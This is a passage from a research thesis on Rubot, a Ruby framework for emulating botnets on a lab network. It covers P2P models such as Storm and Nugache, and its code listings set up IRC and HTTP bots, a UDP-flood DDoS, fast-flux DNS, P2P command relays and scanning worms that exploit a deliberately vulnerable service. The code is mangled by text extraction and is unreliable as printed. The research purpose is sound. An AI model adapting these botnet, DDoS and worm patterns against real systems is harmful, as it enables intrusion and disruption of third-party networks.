• Presentation. Coined from the OSI model, the session subcomponent is respon-

sible for formatting requests from and to the other three subcomponents and

the network. The other modules send message to the session subcomponent

to be serialized, via whatever protocol specifications, into packets destined for

other nodes of the P2P network. This module only handles the P2P-based

communications and would not be used for other protocols and downloads.
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4.5.3.1 Simple TCP-based P2P Model

The simple TCP model uses TCP/IP to connect to peers. In general, the connections

are maintained unless one of the peers becomes unavailable (e.g., is turned off by the

user). These networks also attempt to keep a constant number of active peers, k, to

ensure robustness and efficiency. This component accepts the following configuration

parameters:

• bootstrap, a list of initial peers to contact to join the botnet.

• port, the TCP port to bind to. If set to nil, it selects a port automatically.

• callback, a callback to provide additional handling of received messages.

The default peer management for this model tracks the current peers and a few

disconnected peers (for future bootstrapping). When a node joins the network or

when it needs new peers to keep the average node degree, it will contact the bootstrap

server to discover new peers. In this model, the peers do not contact other random

peers for new neighbors.

Messages are relayed to all peers except the peer a message was received from. A

time stamp and a random value is used to identify and discard redundant or stale

messages. This technique prevents broadcast storms, but allows for timely and simple

dissemination of a message at the cost of bandwidth. As such, there is no routing

protocol–all messages go to all peers.

All peers are equal and any peer could give unauthenticated commands. In an

experiment, one node would simply be under the control of the researcher acting as

the botmaster and would send commands into the network. In future work, different

schemes for authenticating the commands could be devised.

This model will not search for or publish items into the network. This forms a

fully reactive botnet, i.e., bots do not poll for updates or commands, but instead wait

for commands to arrive.
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The presentation layer for this model will simply format the various messages for

the network in the simplest manner possible. This method serves as a basis for other

researchers to generate their models and should not have additional complexities.

4.5.3.2 Simple UDP-based P2P Model

This model is very similar to the simple TCP-based P2P model except it uses UDP

packets instead of TCP.

To keep state of peers, the protocol periodically sends and listen for keepalive

messages. If the network remains fairly static then the interval between hello messages

can be quite long, but if the network is highly volatile, then the node must react to

peer outage quickly to maintain a valid set of peers.

In this model, there is no central peer server and peers must query neighbors for

new peers. To query for new peers, a node sends a getpeers message to one of its

neighbors. The neighbor replies with a subset of randomly chosen peers from its peer

table.

This module supports the following configuration options:

• bootstrap, a list of initial peers to contact to join the botnet.

• port, the UDP port to bind to. If set to nil, it selects a port automatically.

• callback, a callback to provide additional handling of received messages.

4.5.3.3 Nugache P2P Model

Nugache’s peer management is very similar to the simple TCP model described above.

Nugache used TCP to connect to its bootstrap peers and fetched its initial neighbor

peers from the bootstrap nodes. Originally Nugache used TCP port 8 and became

known as the port 8-bot, but later versions randomized the TCP ports. The network

traffic is encrypted using 256-bit AES in output-feedback-mode (OFB). The keys were

randomly generated and exchanged using 512-bit RSA public key encryption.
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Nugache had a rich command-set with several programming primitives unseen

in most botnets, such as variables, loops, logical operations, and object orientation.

Instead of implementing the language dialect of Nugache, the Rubot model uses

Ruby as its scripting language. This allows the researcher a lot more flexibility and

familiarity. Commands were signed with a 4096-bit RSA key. The command was

hashed using MD5, then the hash was padded and encrypted using the botmaster’s

private RSA key.

About once an hour, a node adds another connection and occasionally drops a

current connection. This bot uses the P2P network it forms to download email tem-

plates. Since most of the behavior is defined within the model, the only configuration

options are the list of bootstrap IP addresses and the port number.

• bootstrap, a list of initial peers to contact to join the botnet.

• port, the TCP port to bind to.

4.5.3.4 Storm P2P Model

The StormBot module is separated into three main components as follows: the Storm-

Bot engine, Overnet engine, and TCP proxies. The StormBot engine starts the other

two components and generally directs them to discover peers and to relay commands

to the C&C. The Overnet engine maintains peering and search tables, periodically

publicizes itself to the network, and allows the StormBot engine to publish and search

for content. Since Storm uses a complex set of TCP proxies for routing commands

and Web reverse proxying, the framework provides a subnode server, supernode proxy,

subcontroller proxy, and master proxy.

The Storm botnet uses the Overnet P2P protocol to communicate with peers. The

Overnet protocol uses UDP to connect to peers and support publishing and searching

of content using a distributed hash table (DHT). Storm’s implementation of the DHT

search algorithm is overly simplistic and uses a flat linked list of peers as opposed the
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the hierarchical data structure suggested by the protocol. Storm uses a 40-bit XOR

encryption key to encrypt all traffic since October 2007. The module provided in this

framework allows the researcher to form a botnet that speaks the encrypted Overnet

protocol on a closed network or on the Internet.

The Overnet protocol is used in the following manner. Subnodes publish (do not

confuse with publicize) a hash pair into the network. The first of the two hashes is

determined by a generation algorithm based on the date. There are two algorithms

in the Storm bot, one for unactivated nodes (subnodes) and activated nodes (su-

pernodes). The second hash encodes the subnode’s IP address and TCP server port

number. The subcontroller searches for these hashes in order to find subnodes that

can be promoted to supernodes. Supernodes publish themselves as well, but use the

activated hash as the key. This allows subnodes to find supernodes. So again, the

pattern is as follows:

• Subnodes publish inactive hashes and search for active hashes to find supern-

odes.

• Supernodes publish active hashes.

• Subcontrollers search for inactive hashes to find subnodes to activate.

This model implements the all the messages of the Overnet protocol, most of

which were used by Storm. The messages implemented follows:

• Connect(peer)

• ConnectReply(peers)

• Publicize(peer)

• PublicizeAck

• Search(stype,hash)
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• SearchNext(hash, peers)

• SearchInfo(hash, stype, min, max)

• SearchResult(hash1, hash2, tags)

• SearchEnd(hash)

• Publish(hash1, hash2, tags)

• PublishAck(hash)

• IdentifyReply(hash,ip,port)

• IdentifyAck(port)

• Firewall(hash,port)

• FirewallAck(hash)

• FirewallNack(hash)

• IPQuery(port)

• IPQueryAnswer(ip)

• IPQueryDone

• Identify

The subnode server receives the “breath-of-life” (BoL) message to upgrade it to

a supernode. The BoL message is encrypted with a 64-bit RSA key and contains

a list of subcontrollers. Supernode proxies serve as the primary reverse proxies for

the Storm botnet. When victims receive email, the links in the email point to the

supernodes. Supernodes forward requests to the subcontroller proxies, which forward

to the master proxy. The master proxy forwards to the main Apache webserver, which
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is also under the control of the botmaster. Because of this distributed proxy structure,

it wax very hard to take down Storm’s hosting or to track where the botmaster’s main

controlled servers were. The communication between the proxies are obfuscated by

compression (zlib/gzip) and encoding (Base64). Each message was prepended with a

command header and length of the message.
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CHAPTER V

RUBOT EXPERIMENTS

To verify the flexibility and expressiveness of the Rubot experimentation framework,

several simple and advanced models were implemented and run on the Institute’s net-

works. Each experiment increments in difficulty of implementation and infrastructure

required over the previous experiment, culminating in the StormBot model. The ex-

periments were also designed to serve as a test suite over most of the framework’s

models.

5.1 The Rubot Experiments

There were ten major experiments, which collectively illustrate the flexibility, func-

tionality, and coverage of the framework. Since the framework focuses on network-

observable events, the experiments coverage the range of communication and actions.

For communication, the experiments cover IRC, HTTP, and several P2P protocols.

The experiments cover spamming, DDoSing, fast flux dns, downloading, proxying,

scanning, and hosting Web services. In the following subsections, each experiment is

explained and discussed.

5.1.1 IRC Bot

IRC has been a popular platform for botnet command and control (C&C) for a long

time and has many mature samples. This experiment tested that a large number of

IRC-bots can join a channel, receive commands from the botmaster, and execute the

commands. The following command were implemented in Listing 5.1:

1. !quit - causes the bot to terminate
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2. !download url - causes the bot to fetch the document at the URL

3. !hi msg - causes the bot to echo the message back to the IRC channel

These few commands were sufficient to show that the bot could properly terminate,

handle arbitrary call-backs, and give information back into the IRC channel.

#!/ usr / b in /env ruby
r e qu i r e ” socke t ”
r e qu i r e ” rubot ”
r e qu i r e ”open−u r i ”
# Precond i t ions : i r c d
class MyCallback

def c a l l ( rubot , nick , user , host , cmd , mynick , command)
case command
when /ˆ h i /

return ”PRIVMSG #{((mynick==’hexybot ’ ) ? n ick : mynick ) } : h i ”
when /ˆdownload ( . ∗ ) /

open ( $1 ) . read
when /ˆ qu i t /

rubot . stop
end
ni l

end
end
threads = [ ]
1 . upto (400) do | i |

i r c = Rubot : : IRCBot . new( ’ l o c a l h o s t ’ , 6667 , ’ hexybot ’+i . to s , ’#t e s t ’ ,
[ ” botmaster ” ] , MyCallback . new)

i r c . run
threads << i r c

end
threads . each do | thr | thr . j o i n end

Listing 5.1: IRC Bot Code

5.1.2 HTTP Bot

An HTTP-based bot operates by repeatedly requesting a Web page and interpreting

the result for commands. HTTP has become a very popular protocol recently as it

tends to evade detection. This experiment tested that the bot would poll our Web

server every 5 seconds and, if the page directed to, launch a UDP-based DDoS for 10

seconds against any target specified on the page. The code to launch the HTTP bot

and install the proper callbacks is listed in Listing 5.2.
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#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
# Precond i t ions : webserver and pktd
class MyCallback

def c a l l ( bot , code , body )
puts ” ca l l ba ck c a l l e d ”
i f body =˜ / qu i t /

bot . stop
end
m = body . match ( / t a r g e t : ( [ \ d \ . ]+ :\d+)/ i )
i f m

ip , port = m[ 1 ] . s p l i t ( / : / )
port = port . t o i
puts ” t a r g e t matched #{ip } #{port }”
Rubot : : UDPFlood . new( ip , port , 1 . 0 / 100 , 10) . run

end
end

end
h = Rubot : : HTTPBot . new(” http : // l o c a l h o s t :2080 /command . html” , 5 ,

MyCallback . new)
h . run
h . j o i n

Listing 5.2: HTTP Bot Code

5.1.3 Fast Flux Test

A fast flux DNS server changes its answers to DNS queries quite often, usually to

point to other compromised hosts. The other compromised hosts run a Web server,

or more often a reverse proxy to a Web server, which hosts the content for the

botmaster. These types of distributed DNS and Web hosting infrastructure is very

hard to counteract and take offline. Rubot provides a fast flux DNS model that allows

answers to be added or removed and will reply with a random set of answers each

time it is queried. Test code is provided in Listing 5.3.

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
f f = Rubot : : FastFlux . new
f f . run
s l e e p 1
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 70 ” , 500)
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 71 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 72 ” , 500)
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f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 73 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 74 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 75 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 76 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 77 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 78 ” , 500)
f f . add record ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 79 ” , 500)
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . d e l r e c o r d ( ”www. t e s t . com” , ”IN” , ”A” , ” 192 . 168 . 1 . 1 76 ” )
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
system ( ’ d ig −p 2053 @loca lhos t www. t e s t . com ’ )
f f . j o i n

Listing 5.3: Fast Flux Test Code

5.1.4 TCP P2P Bot

Supernode 
A

Supernode 
B

Bot D Bot E Bot F

Bot A Bot B Bot C Bot G Bot H Bot I

Bot L

Bot J Bot K

Me

Figure 21: TCP P2P Botnet Experiment Topology

The TCP P2P Botnet was the first peer to peer botnet developed in the framework.

This experiment uses TCP stream sockets to relay YAML-formatted messages to

peers. The peer management allowed bots to connect to supernodes, but the peers did

not search for new nodes. The experiment started two supernodes and 7 peer/client

bots each. One of the bots on the second supernode, Supernode B, was the botmaster

(labeled“Me”) and could inject arbitrary messages into the botnet, as shown in Figure

21. The code to set up the experiment is given in Listing 5.4, the supernode code

in Listing 5.5, and the TCP peer bot code in Listing 5.6. This experiment verified
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that messages could be relayed through the botnet. Cyclical topologies were tested

to confirm that messages would not propagate endlessly, but rather would only be

sent once by each node.

#!/ usr / b in /env bash
for host in supernodeA supernodeB
do

xterm −T $host −e ssh −t $host ”cd rubot ; svn up ; . / exper iments /
supernode . rb” &

done
s l e e p 4
for host in botA botB botC botD botE botF
do

xterm −T $host −e ssh −t $host ”cd rubot ; svn up ; . / exper iments / tcpbot .
rb supernodeA :2008 ” &

done

for host in botG botH botI botJ botK
do

xterm −T $host −e ssh −t $host ”cd rubot ; svn up ; . / exper iments / tcpbot .
rb supernodeB :2008 ” &

done
xterm −T botL −e ssh −t botL ”cd rubot ; svn up ; . / exper iments / tcpbot . rb

supernodeA :2008 supernodeB :2008 ” &
. / exper iments / tcpbot . rb supernodeB :2008

Listing 5.4: Automation Script for TCP P2P Bot Experiment

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
port = 2008
i f ARGV. length > 0

port = ARGV[ 0 ] . t o i
end
sn = Rubot : : TCPSuperNode . new( port ) do

Thread . cur rent . s t a r t
end
sn . j o i n

Listing 5.5: TCP P2P Supernode Code

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
class MyCallback < Rubot : : Cal lback

def c a l l ( peer , msg)
i f msg . mtype == Rubot : : MessageType : :BROADCAST

puts ”#{msg . s r c } #{msg . data}”
i f msg . data =˜ /ˆQUIT/

$p2p . stop
end

end
end

end
mcb = MyCallback . new

63



unless ARGV. length > 0
puts ”Usage : #{$0} <supernode : port> [< supernode : port >]”
e x i t

end
supernodes = [ ]
ARGV. each do | arg |

ip , port = arg . s p l i t ( / : / )
port = port . t o i
supernodes << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :SUPERNODE, ni l )

end
$p2p = p2p = Rubot : : TCPPeerBot . new( supernodes , mcb) { Thread . cur rent .

s t a r t }
s l e e p 1
while p2p . running

r , , = IO . s e l e c t ( [ $ s td in ] , nil , nil , 5 )
i f r

r . each do | s |
buf = s . r e ad l i n e . chomp
msg = Rubot : : Message . new( ’ p2p ’ , ’ super ’ ,Rubot : : MessageType : :

BROADCAST, buf )
p2p . send (msg)
i f msg =˜ /ˆQUIT/

s l e e p 1
e x i t

end
end

end
end
p2p . j o i n

Listing 5.6: TCP P2P Bot Code

5.1.5 UDP P2P Bot

The UDP P2P Botnet started with a vary similar configuration to the TCP P2P

Botnet in that there were two starting nodes and various clients started with one

or both of the nodes. However, every node was equal in functionality and they

discovered new nodes when they contacted their bootstrap peer. The final topology,

after the experiment, is random with a bias towards nodes on the same bootstrap

peer due to the timing of how peers joined each node. The start up script is given in

Listing 5.7 and the bot code in Listing 5.8. This experiment also allowed the peers

to send arbitrary messages into the network to test for loop control and coverage.

Also, critical nodes (like the bootstrap nodes or the one peer that connected to both
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bootstrap nodes initially) would be killed after the topology finalized to show that

the botnet still had the ability to route messages.

#!/ usr / b in /env bash
for host in udp1 udp2
do

xterm −T $host −e ssh −t $host ”cd rubot ; ruby −d . / exper iments /udpbot .
rb 2008” &

done
s l e e p 4
for host in udp3 udp4 udp5 udp6 udp7 udp8 udp9 udp10
do

xterm −T $host −e ssh −t $host ”cd rubot ; ruby −d . / exper iments /udpbot .
rb udp1 : 2 0 0 8 ; s l e e p 120” &

done
for host in udp11 udp12 udp13 udp14 udp15
do

xterm −T $host −e ssh −t $host ”cd rubot ; ruby −d . / exper iments /udpbot .
rb udp2 : 2 0 0 8 ; s l e e p 120” &

done
xterm −T woodchipper −e ssh −t woodchipper ”cd rubot ; ruby −d . /

exper iments /udpbot . rb udp1 :2008 udp2 : 2 0 0 8 ; s l e e p 120” &
. / exper iments /udpbot . rb udp2 :2008

Listing 5.7: Automation Script for UDP P2P Bot Experiment

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
class MyCallback < Rubot : : Cal lback

def c a l l ( peer , msg)
i f msg . mtype == Rubot : : MessageType : :BROADCAST

puts ”#{peer . ip } #{peer . port } : #{msg . s r c } #{msg . data}”
i f msg . data =˜ /ˆQUIT/

ex i t
end

e l s i f msg . mtype == Rubot : : MessageType : :GETPEERS RESP
ping = Rubot : : Message . new( nil , nil , Rubot : : MessageType : : PING REQ, (

rand ∗ 10E3) . t o i )
msg . data . each do | peer |

peer . data = $sn . s e rv
$sn . send ( ping , peer )

end
end

end
end
l p o r t = 0
i f ARGV. length > 0 and ARGV[ 0 ] =˜ /ˆ\d+$/

l p o r t = ARGV. s h i f t . t o i
end
supernodes = [ ]
ARGV. each do | arg |

ip , port = arg . s p l i t ( / : / )
port = port . t o i
supernodes << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :SUPERNODE, ni l )
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end
mcb = MyCallback . new
$sn = sn = Rubot : : UDPPeerBot . new( supernodes , lpor t ,mcb) do

Thread . cur rent . s t a r t
end
s l e e p 1
puts ”My port i s #{sn . port }”
i f supernodes . l ength > 0

msg = Rubot : : Message . new( nil , nil , Rubot : : MessageType : : PING REQ, ( rand ∗
10E3) . t o i )

sn . send (msg)
s l e e p 10
msg = Rubot : : Message . new( nil , nil , Rubot : : MessageType : :GETPEERS REQ, ni l )
sn . send (msg)

end
s l e e p 15
puts ”My Peers : ”
sn . peermanagement . each do | peer |

puts ” #{peer . ip . r j u s t (15) } #{peer . port . t o s . r j u s t (5 ) }”
end
while buf = $s td in . r e ad l i n e . chomp

msg = Rubot : : Message . new( nil , nil , Rubot : : MessageType : :BROADCAST, buf )
sn . send (msg)

end
sn . j o i n

Listing 5.8: UDP P2P Supernode Code

5.1.6 TCP Worm

To experiment with TCP-based worms, the Vulnerable TCP Service model was de-

ployed on 14 nodes, some of which were behind firewalls, but reachable from other

nodes behind the same firewall that were not protected. This allowed for a network

to be hit, with only one exposed, vulnerable host, but it in turn can infect the other

vulnerable hosts in its network. In Figure 22, D2 serves as our “patient zero” (first

infected victim) and scans all four of the experiment networks. The A and B networks

are completely open, which the C and D networks have firewalls to prevent attacks.

Host C1, however, has an exception in the firewall, which allows it to be attacked

and then infect hosts C2 and C3. The Vulnerable TCP Service was started on all

the hosts, except D2, on which the TCP Worm model was started. D2 randomly

scanned the IP address spaces of the four networks (hitting many hosts that were not

66



a3 b4

d2

a2

c1 c2

b2

b3a4

b5

c3

a5

a1 b1

d1

Figure 22: TCP Worm Experiment Network Setup

running the vulnerable service and raising several eyebrows at OIT). When it found

a vulnerable server, it would ‘infect’ it and the newly compromised host would also

begin to participate in the scanning and compromising of vulnerable servers. The

code for invoking the Vulnerable TCP Service is given in Listing 5.9 and the TCP

Worm model invocation is shown in Listing 5.10.

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
r e qu i r e ’ open−u r i ’
i f ARGV. length == 0

puts ”Usage : #{$0} <port>”
e x i t

end
class IRCCallback

def c a l l ( rubot , nick , user , host , mynick , command)
case command
when /ˆ h i /

return ”PRIVMSG #{((mynick==’hexybot ’ ) ? n ick : mynick ) } : h i ”
when /ˆ qu i t /

rubot . d i s connec t
end

end
end
class MyCallback

def c a l l ( s e r v i c e , l i n e )
u r l = l i n e . match ( /http [ ˆ \”\ ’\?\∗\&]∗/ ) [ 0 ] . s t r i p
begin
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doc = open ( u r l ) . read
rescue Exception
end
$ i r c = Rubot : : IRCBot . new( ’ i r c s e r v e r ’ , 6667 , ’ hexybot ’+rand (10000) .

t o i . to s , ’#t e s t ’ , [ ” botmaster ” ] , IRCCallback . new) { Thread .
cur rent . s t a r t }

$v . stop
ra t e = l i n e . match ( / ra t e =([\d \ . ]+) / ) [ 1 ]
r a t e = ( ra t e ) ? ra t e . t o f : 0 . 5
model = Rubot : : RandomWithoutRepeatScan . new( ” 10 . 0 . 1 39 . 0/24

10 . 0 . 1 29 . 0/24 10 . 0 . 1 30 . 0/24 10 . 0 . 1 43 . 0/24 ” . s p l i t )
payload = l i n e
port = 2008
$worm = Rubot : :TCPWorm. new( rate , model , port , payload ) { Thread .

cur rent . s t a r t }
fa l se

end
end
port = ARGV[ 0 ] . t o i
e x p l o i t = Rubot : : Exp lo i t . new( /ˆGET.∗?\? u r l=http / , MyCallback . new)
v = $v = Rubot : : VulnerableTCPService . new ( [ e xp l o i t ] , port ) { Thread .

cur rent . s t a r t }
[ v , $ i r c , $worm ] . each { | x | x . j o i n }

Listing 5.9: Vulnerable TCP Service with TCP Worm Callback

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
i f ARGV. length < 2

puts ”Usage : #{$0} <rate> <c idr> [< c idr> . . . ] ”
e x i t

end
r a t e = ARGV. s h i f t . t o f
model = Rubot : : RandomWithoutRepeatScan . new(ARGV)
payload = ”GET /hahaha? u r l=http :// example . com/&rat e=#{r a t e }\ r \n”
port = 2008
worm = Rubot : :TCPWorm. new( rate , model , port , payload ) { Thread . cur rent .

s t a r t }
worm . j o i n

Listing 5.10: TCP Worm Code

5.1.7 UDP Worm

The UDP Worm model works exactly like the TCP version, except that the vulnerable

service and the udp worm use UDP sockets as opposed to TCP. The code to invoke

the Vulnerable UDP Service model and the UDPWorm model are given, respectively,

in Listings 5.11 and 5.12.

68



#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
r e qu i r e ’ open−u r i ’
i f ARGV. length == 0

puts ”Usage : #{$0} <port>”
e x i t

end
class IRCCallback

def c a l l ( rubot , nick , user , host , mynick , command)
case command
when /ˆ h i /

return ”PRIVMSG #{((mynick==’hexybot ’ ) ? n ick : mynick ) } : h i ”
when /ˆ qu i t /

rubot . d i s connec t
end

end
end
class MyCallback

def c a l l ( s e r v i c e , l i n e )
u r l = l i n e . match ( /http [ ˆ \”\ ’\?\∗\&]∗/ ) [ 0 ] . s t r i p
begin

doc = open ( u r l ) . read
rescue Exception
end
$ i r c = Rubot : : IRCBot . new( ’ i r c s e r v e r ’ , 6667 , ’ hexybot ’+rand (10000) .

t o i . to s , ’#t e s t ’ , [ ” botmaster ” ] , IRCCallback . new) { Thread .
cur rent . s t a r t }

$v . stop
ra t e = l i n e . match ( / ra t e =([\d \ . ]+) / ) [ 1 ]
r a t e = ( ra t e ) ? ra t e . t o f : 0 . 5
model = Rubot : : RandomWithoutRepeatScan . new( ” 10 . 0 . 1 39 . 0/24

10 . 0 . 1 29 . 0/24 10 . 0 . 1 30 . 0/24 10 . 0 . 1 43 . 0/24 ” . s p l i t )
payload = l i n e
port = 2008
$worm = Rubot : :UDPWorm. new( rate , model , port , payload ) { Thread .

cur rent . s t a r t }
fa l se

end
end
port = ARGV[ 0 ] . t o i
e x p l o i t = Rubot : : Exp lo i t . new( /ˆGET.∗?\? u r l=http / , MyCallback . new)
v = $v = Rubot : : VulnerableUDPService . new ( [ e xp l o i t ] , port ) { Thread .

cur rent . s t a r t }
[ v , $ i r c , $worm ] . each { | x | x . j o i n }

Listing 5.11: Vulnerable UDP Service with UDP Worm Callback

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
i f ARGV. length < 2

puts ”Usage : #{$0} <rate> <c idr> [< c idr> . . . ] ”
e x i t

end
r a t e = ARGV. s h i f t . t o f
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model = Rubot : : RandomWithoutRepeatScan . new(ARGV)
payload = ”GET /hahaha? u r l=http :// example . com/&rat e=#{r a t e }\ r \n”
port = 2008
worm = Rubot : :UDPWorm. new( rate , model , port , payload ) { Thread . cur rent .

s t a r t }
worm . j o i n

Listing 5.12: UDP Worm Code

5.1.8 GTBot

The GTBot model is the simplest composite model in the Rubot framework. Com-

posite models are models that embody a combination of other models together to

emulate the behavior of a complete botnet sample. GTBot has one of the simplest

command set of the non-script based, common botnets and thus serves as a very con-

cise, straight-forward example of building a composite model. GTBot is controlled

via IRC and accepts the following commands:

1. !ver - echo the version back to the IRC channel.

2. !info - echo the platform, uptime, and user account to the IRC channel.

3. !scan - perform a network scan across the network on a given port.

4. !portscan - perform a port scan against a given host.

5. !stopscan - stop ongoing scans.

6. !packet - perform an ICMP flood attack against a given host.

7. !clone - perform an IRC clone flood attack against a given server.

8. !update - update the current bot with a configuration keyed by a given URL.

9. !die - shutdown.
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Since all of this functionality exists within the model, to launch an instance of GT-

Bot requires only two lines of code, specifically lines 3 and 4 of Listing 5.13. For

the experiment, the IRC channel was used to issue all the above commands to the

connected bots.

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
gt = Rubot : : GTBot . new( ’ l o c a l h o s t ’ ,6667 , ’ IRCBot ’ , ’#t e s t ’ , [ ’ botmaster ’ ] )
gt . run
trap ( ”INT” ) { gt . stop }
gt . j o i n

Listing 5.13: GTBot Instance Code

5.1.9 Nugache

Nugache was one of the first peer-to-peer botnets that piqued the interest of security

researchers and it spread via AIM messages. Initially, this bot used TCP port 8 to

connect to the supernodes and to the peers it learned about. The communications are

protected with AES with RSA-protected key exchange. Instead of a command set,

Nugache enacts a limited scripting language, which allows for arbitrary commands to

be composed. In Rubot’s Nugache model, Ruby was used as the scripting language

and as such, any valid Ruby code can be executed within the framework, including

all the existing models within Rubot. All commands are signed with a 4096-bit RSA

key, just as in the real Nugache botnet. This model did not include the AOL instant

messenger (AIM)-based spreading command as this would be an abuse of AIM’s terms

of use and setting up our own AIM server was beyond the scope of this work.

The instantiation code for the Nugache peer is given in Listing 5.14 and the

controller in Listing 5.15. The experiment consisted of setting up a topology similar

to the TCP P2P botnet shown in Figure 21 and issuing Ruby commands to initialize

and run packeting attacks, Web downloads, and spamming.

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
unless ARGV. length > 0 and ARGV[ 0 ] . t o i and ARGV[ 0 ] . t o i > 1024
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puts ”Usage : #{$0} <port> [< ip : port> . . . <ip : port >] # port must be
g r e a t e r than 1024”

e x i t
end
port = ARGV. s h i f t . t o i
pee r s = [ ]
ARGV. each do | pe |

ip , port = pe . s p l i t ( / : / )
port = port . t o i
pee r s << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :SUPERNODE, ni l )

end
n = Rubot : : NugacheBot . new( port , pee r s )
n . run
$s td in . e a c h l i n e do |msg |

n . send ( nil , msg . chomp)
end
n . stop
n . j o i n

Listing 5.14: Nugache Bot

#!/ usr / b in /env ruby
r e qu i r e ’ rubot ’
unless ARGV. length > 0

puts ”Usage : #{$0} <ip : port> [ . . . <ip : port >] # port must be g r e a t e r
than 1024”

e x i t
end
peer s = [ ]
ARGV. each do | pe |

ip , port = pe . s p l i t ( / : / )
port = port . t o i
pee r s << Rubot : : Peer . new( ip , port , Rubot : : PeerType : :PEER, ni l )

end
$debug = true
n = Rubot : : NugacheControl ler . new( peer s )
n . run
$s td in . e a c h l i n e do |msg |

n . send ( nil , msg . chomp)
end
n . stop
n . j o i n

Listing 5.15: Nugache Controller

5.1.10 Storm

The Storm Botnet model is the most complicated model by far. There are two

protocols used by Storm: UDP-based Overnet for resource discovery and TCP-based

command channels for receiving spam templates and updates. Each of these protocols
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are obfuscated and/or encrypted. Additionally, a lot of infrastructure is required for

the basic botnet to work. To understand this experiment, you may wish to reread

Section 4.5.3.4.

In the basic Storm experiment, we must start with a botmaster-controlled Web

server, a master proxy, and a subcontroller node. The subcontroller must know the

IP and port of the master proxy, and the master proxy must know the IP and port

of the Web server. After the initial infrastructure is in place, subnodes can join

the Overnet network and start publishing themselves as “unactivated” nodes. The

subcontroller will search the Overnet network for unactivated hashes and attempt

to activate nodes that it finds. Once a subnode is activated, it acts as a supernode

and publishes itself as an activated node. The remaining subnodes can then find the

new supernode and request spam templates from it. The supernode will proxy the

requests to the subcontoller, the subcontroller proxies to the master proxy, and the

master proxy to the Web server. The Web server then returns the spam template

through the series of proxies back to the subnodes, which in turn begin spamming.

This setup is illustrated in Figure 23. The thick, dashed lines denote the proxy

channel for commands and HTTP requests, while the thinner gray lines denote the

Overnet-based peer discovery. The dotted lines from the subnodes to the SMTP

server denote spamming activity. The victim checks its mail from the SMTP/POP3

server and follows the link embedded in the email to connect to the supernode via

the HTTP protocol. The supernode then encodes and proxies the connection to the

subcontroller. Once the victim receives the reply from the supernode, it pretends to

be exploited, downloads the “malware”, and joins the botnet as a subnode. The code

for this experiment is given in Listing 5.16.

#!/ usr / b in /env ruby
r e qu i r e ’ storm ’
in c lude Rubot
class MyCallback

def c a l l ( obj , peer , msg)
puts ”MyCallback :\n #{peer }\n #{msg}”
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end
end
class Pop3Callback

def i n i t i a l i z e ( pee r s )
@exp lo i t s = [ Explo i t . new( /p0wn3d/ , proc { puts ” I AM POWN3D! ” ; Storm

: : StormBot . new( pee r s . c l one ) }) ]
end
def c a l l (msg)

puts ”Pop3Callback”
p msg
i f msg =˜ / ( http .∗ html ) /

VulnerableWebBrowser . new ( [ $1 ] , 0 , @exp lo i t s ) . run
end

end
end
mcb = MyCallback . new
webservers = [ Storm : : TCPPeer . new( ’ 1 2 7 . 0 . 0 . 1 ’ ,2080) ]
mp = Storm : : MasterProxy . new( webservers )
masters = [ Storm : : TCPPeer . new( ’ 1 2 7 . 0 . 0 . 1 ’ ,mp. port ) ]
sc = Storm : : StormBot . new ( [ ] , mcb , Overnet : : PeerType : :SUBCONTROLLER, masters

)
subcons = [ Storm : : TCPPeer . new( ’ 1 2 7 . 0 . 0 . 1 ’ , s c . port ) ]
sn = Storm : : StormBot . new ( [ ] , mcb , Overnet : : PeerType : :SUPERNODE, subcons )
pee r s = [ sn . peer ]
sub = Storm : : StormBot . new( pee r s )
v i c t = Pop3EmailTrojan . new( ’ 1 2 7 . 0 . 0 . 1 ’ , ’ 2110 ’ , ’ v i c t im ’ , ’ v i c t im ’ , 10 ,

Pop3Callback . new( peer s ) , 1)
[mp, sc , sn , sub , v i c t ] . each { | x | x . run ; s l e e p 1}
[mp, sc , sn , sub , v i c t ] . each { | x | x . j o i n }

Listing 5.16: Storm Experiment Code
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CHAPTER VI

CONCLUSION

Botnets are the essential tool in the criminals’ arsenal to commit fraud, extortion, and

harassment online. The trend shows that botmasters are adding P2P-based botnets

to their repertoire because of their resilience to take down as shown by the Storm and

Nugache botnets. The Rubot framework arose from the frustrations of studying and

measuring current P2P botnets. New researchers have many barriers because of the

nature of the topic. Botmasters hide their activities, mature researchers hide their

findings, and there are legal issues in studying botnets. Furthermore, since there are

few if any reproducible results, there is very little science in studying botnets.

The Rubot framework provides the components, models, and examples to allow

researchers at all levels, to produce systematic research and to share models. System-

atic research is possible because the entire botnet is under the control of the researcher

and each endpoint can be instrumented for the needed measurements. Model shar-

ing is now possible because the models have little to no malicious use or intellectual

property issues.

